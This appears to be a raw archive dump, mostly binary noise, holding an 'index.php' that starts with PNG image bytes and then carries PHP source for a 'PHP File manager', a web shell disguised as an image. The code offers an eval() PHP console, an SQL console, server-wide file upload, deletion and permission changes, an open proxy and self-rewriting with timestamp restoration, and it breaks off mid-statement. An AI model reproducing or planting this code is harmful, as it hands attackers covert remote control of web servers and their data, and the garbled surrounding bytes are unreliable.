d-?cLg`7%	q"lj0dWː<0L.{vCJ5p8̕c@V&XHgk@Un?'rVBA	t/׽׍Wy64֮տ(ICXh	RFCdS]ke0l"781!>j+e]Ks1l`hDMa\8qlBsi2`oOq7d+zWQ{ճjO(QuaYɫB3i԰+LGMP깦;n)|PX>`*9z @|6l.M^aGC_I\ͯddC)_ZZ%&\2Ikr|ZE;ഥx]kǘG/R>eIqi:FlIՂ%Y}A 9E"$6PS)d\I<>Uor i$Q:jOvt}XR=j}U[eGd$>\#R= Z7RXūSJ󂆜8Ut+	uYӮZg$UB(X_>BepʨcMog)\-9#.ԕUdYBDZ5VG$ۤ'6Ud8Tj7Twz(Pݼn=<"Pߔp|`=aFY3@iՅjC4LÈS~QUY{*xNNG,ռZ3
[L渲82/ѭV``6{EPM.%'4;WWt=&Uq>ulk{֖-r`m*j=6ڴ5csSze1QqU2^Գ	0R71t*7&^SڈmSB{aCYkt)S[ŪVQKjjѮnt"ĉ-t׈Ԧŏk%^Ycװ~iGBmʢu+ӗP!wչbحLaO^_*PXKTW9\U_m2ݣP 4moj:=ca0()QTUoרmޮf&ňWWק{ڊj1k2+L".#r2+`)>鬬蘔aXՊ⨯|ۯh|zD,{{+dǻS4ZFQD&YP!oa+̶>@F"#\xj	hNfnHR(O	dC֪[NF#Rْk0>x/DSR(L]
3]8PW?=؞n	덄(Mf)ǻ2	AS1\z6I|Л[A9dQ̘5MH@V2ʒyM^j5"V؜Y?V2{ʌ%Gk-+iE:'ǿg!1I!(Cz<ƒvcXQ.rڞjF4{	uxяF&++أ!*-hI$-@`9ky!"_qh5hMdA.QaIz>Zؔ^1FQ!Wh|QՃEꋢH CrGȤ1*'#xԸRrRR:JTmζ@â{׏t#xcވlƄs2eű P+@}#IBס7ygsQuELeDj^1PamB? m Vo\AkB Ш~md*YYu3YU^A |7ovqDikUwџ#l 2FEh3x`CMu[
o+ͻI؀΃pEW#hk7N}s# mgU%_Mժ:*7׏7SnY:tuy=@OjMW9QOjw{o"k\kyqD^+Ux|М $xuBo_\.Lk[CtkA'fhZxc4uS]|0i(y=32)Xͧ0t4퐄1l57m0S~7Ru׀Z.;*98H6 @4K*)^ ~Wɏan)6;2I|mĩ,SﰷQ}u=Z翥|CwW;Xg jh4gsO,|߽ϻ?Z: @ PK     S]k++R  R    widget-loader.php.php.tar.gznu [              Tn@3_0&CRYjK]䦍oq"UE#<sfbz~gM%jEyR)TT])t<gU!hjʫ6	_F+bG|?@ދ~8f731gu-jR3<;66)UAI%0ϐX&ywyI@dx6a 0߸a]%]1o	\BD}}5da]4.6P4yh;^0sLVpj$gnJu#(BM[fW	,8y,vJU D)IDʬ@9r_(^H(++1ǣ84N&)kh+H;fOJ,2/62xa	Y;djٷfEU~2v:k=^WٺUٺ+-C\@M4]AxWTd4pf쐰%JtyG}cߦrlg'R!( 
  PK     S]&79 9 	  index.phpnu [        ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
